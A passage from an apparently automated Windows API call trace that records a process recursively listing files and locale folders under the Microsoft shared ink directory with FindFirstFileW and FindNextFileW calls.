lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0148.440] GetLastError () returned 0x12 [0148.440] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0148.440] GetLastError () returned 0x12 [0148.440] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0148.441] GetLastError () returned 0x12 [0148.441] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0148.441] GetLastError () returned 0x12 [0148.441] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0148.442] GetLastError () returned 0x12 [0148.442] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0148.442] GetLastError () returned 0x12 [0148.442] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0148.442] GetLastError () returned 0x12 [0148.442] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0148.442] GetLastError () returned 0x12 [0148.443] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0148.443] GetLastError () returned 0x12 [0148.443] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0148.443] GetLastError () returned 0x12 [0148.443] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0148.443] GetLastError () returned 0x12 [0148.443] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0148.443] GetLastError () returned 0x12 [0148.443] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0148.443] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0148.444] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0148.444] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0148.444] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0148.444] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0148.444] GetLastError () returned 0x12 [0148.444] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0148.445] GetLastError () returned 0x12 [0148.445] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0148.445] GetLastError () returned 0x12 [0148.445] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0148.445] GetLastError () returned 0x12 [0148.445] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0148.445] GetLastError () returned 0x12 [0148.445] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0148.445] GetLastError () returned 0x12 [0148.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894fb8 [0148.446] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.446] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.446] GetLastError () returned 0x12 [0148.446] FindNextFileW (in: hFindFile=0x894fb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.446] FindClose (in: hFindFile=0x894fb8 | out: hFindFile=0x894fb8) returned 1 [0148.446] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.446] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0148.447] GetLastError () returned 0x12 [0148.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8950b8 [0148.447] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.447] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.447] GetLastError () returned 0x12 [0148.447] FindNextFileW (in: hFindFile=0x8950b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.447] FindClose (in: hFindFile=0x8950b8 | out: hFindFile=0x8950b8) returned 1 [0148.447] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.448] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0148.448] GetLastError () returned 0x12 [0148.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895038 [0148.448] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.448] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.448] GetLastError () returned 0x12 [0148.448] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.448] FindClose (in: hFindFile=0x895038 | out: hFindFile=0x895038) returned 1 [0148.448] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.448] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0148.448] GetLastError () returned 0x12 [0148.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8953b8 [0148.449] FindNextFileW (in: hFindFile=0x8953b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.449] FindNextFileW (in: hFindFile=0x8953b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0148.449] GetLastError () returned 0x12 [0148.449] FindNextFileW (in: hFindFile=0x8953b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0148.449] FindClose (in: hFindFile=0x8953b8 | out: hFindFile=0x8953b8) returned 1 [0148.449] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.449] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 